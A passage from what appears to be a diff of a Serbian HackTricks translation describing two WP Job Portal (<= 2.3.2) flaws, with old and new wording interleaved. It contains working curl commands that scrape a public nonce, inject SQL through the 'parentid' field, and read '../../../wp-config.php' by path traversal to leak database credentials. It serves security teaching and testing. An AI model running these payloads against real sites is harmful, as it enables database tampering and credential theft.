3. **Neautentifikovana dostupnost** – iako se akcija se izvršava preko `admin-post.php`, jedina provera koja postoji je **CSRF nonce** (`wp_verify_nonce()`), koju bilo koji posetilac može preuzeti sa javne stranice koja u sebi sadrži shortcode `[wpjobportal_my_resumes]`.
|
3. **Dostupno bez autentifikacije** – iako se akcija izvršava preko `admin-post.php`, jedina provera je **CSRF nonce** (`wp_verify_nonce()`), koji bilo koji posetilac može dohvatiti sa javne stranice koja ubacuje shortcode `[wpjobportal_my_resumes]`.
|
||||||
|
|
||||||
#### Eksploatacija
|
#### Eksploatacija
|
||||||
|
|
||||||
1. Preuzmite svež nonce:
|
1. Uzmite novi nonce:
|
||||||
```bash
|
```bash
|
||||||
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
|
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
|
||||||
```
|
```
|
||||||
2. Injektujte proizvoljni SQL zloupotrebom `parentid`:
|
2. Injektujte proizvoljan SQL zloupotrebom `parentid`:
|
||||||
```bash
|
```bash
|
||||||
curl -X POST https://victim.com/wp-admin/admin-post.php \
|
curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||||
-d 'task=savecategory' \
|
-d 'task=savecategory' \
|
||||||
@ -630,20 +679,20 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
|
|||||||
-d 'parentid=0 OR 1=1-- -' \
|
-d 'parentid=0 OR 1=1-- -' \
|
||||||
-d 'cat_title=pwn' -d 'id='
|
-d 'cat_title=pwn' -d 'id='
|
||||||
```
|
```
|
||||||
Odgovor otkriva rezultat injektovanog upita ili menja bazu podataka, što dokazuje SQLi.
|
Odgovor otkriva rezultat injektovanog upita ili menja bazu podataka, dokazujući SQLi.
|
||||||
|
|
||||||
|
|
||||||
### Neautentifikovano preuzimanje proizvoljnih fajlova / Path Traversal (WP Job Portal <= 2.3.2)
|
### Neautentifikovano preuzimanje proizvoljnog fajla / Path Traversal (WP Job Portal <= 2.3.2)
|
||||||
|
|
||||||
Drugi zadatak, **downloadcustomfile**, omogućavao je posetiocima da preuzmu **bilo koji fajl na disku** putem path traversal-a. Ranljivi sink se nalazi u `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
Još jedan zadatak, **downloadcustomfile**, dozvoljavao je posetiocima da preuzmu **bilo koji fajl na disku** putem Path Traversal-a. Ranjiva sink se nalazi u `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||||
```php
|
```php
|
||||||
$file = $path . '/' . $file_name;
|
$file = $path . '/' . $file_name;
|
||||||
...
|
...
|
||||||
echo $wp_filesystem->get_contents($file); // raw file output
|
echo $wp_filesystem->get_contents($file); // raw file output
|
||||||
```
|
```
|
||||||
`$file_name` je pod kontrolom napadača i konkatenira se **bez sanitizacije**. Opet, jedino ograničenje je **CSRF nonce** koji se može dohvatiti sa stranice za rezime.
|
`$file_name` je pod kontrolom napadača i konkateniran **bez sanitizacije**. Ponovo, jedina barijera je **CSRF nonce** koji se može dobiti sa stranice rezimea.
|
||||||
|
|
||||||
#### Eksploatacija
|
#### Exploitation
|
||||||
```bash
|
```bash
|
||||||
curl -G https://victim.com/wp-admin/admin-post.php \
|
curl -G https://victim.com/wp-admin/admin-post.php \
|
||||||
--data-urlencode 'task=downloadcustomfile' \
|
--data-urlencode 'task=downloadcustomfile' \
|
||||||
@ -652,7 +701,7 @@ curl -G https://victim.com/wp-admin/admin-post.php \
|
|||||||
--data-urlencode 'entity_id=1' \
|
--data-urlencode 'entity_id=1' \
|
||||||
--data-urlencode 'file_name=../../../wp-config.php'
|
--data-urlencode 'file_name=../../../wp-config.php'
|
||||||
```
|
```
|
||||||
Server vraća sadržaj datoteke `wp-config.php`, leaking DB credentials i auth keys.
|
Server vraća sadržaj `wp-config.php`, leaking DB credentials i auth keys.
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
@ -663,5 +712,7 @@ Server vraća sadržaj datoteke `wp-config.php`, leaking DB credentials i auth k
|
|||||||
- [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)
|
- [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)
|
||||||
- [WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability)
|
- [WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability)
|
||||||
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
|
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
|
||||||
|
- [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/)
|
||||||
|
- [Service Finder Bookings privilege escalation – Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user